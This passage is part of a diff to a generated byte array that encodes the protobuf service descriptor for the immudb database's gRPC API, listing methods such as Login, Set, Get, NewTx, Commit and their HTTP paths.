0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d, 0x0a, 0x0c, 0x43, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, + 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, + 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, - 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, - 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, - 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, + 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, + 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, + 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, + 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, - 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x04, - 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x73, - 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, + 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, + 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, + 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, + 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, + 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, + 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, + 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, - 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a, 0x22, 0x09, 0x2f, - 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a, 0x01, 0x2a, 0x22, - 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x88, - 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, + 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, + 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, + 0x2a, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, + 0x74, 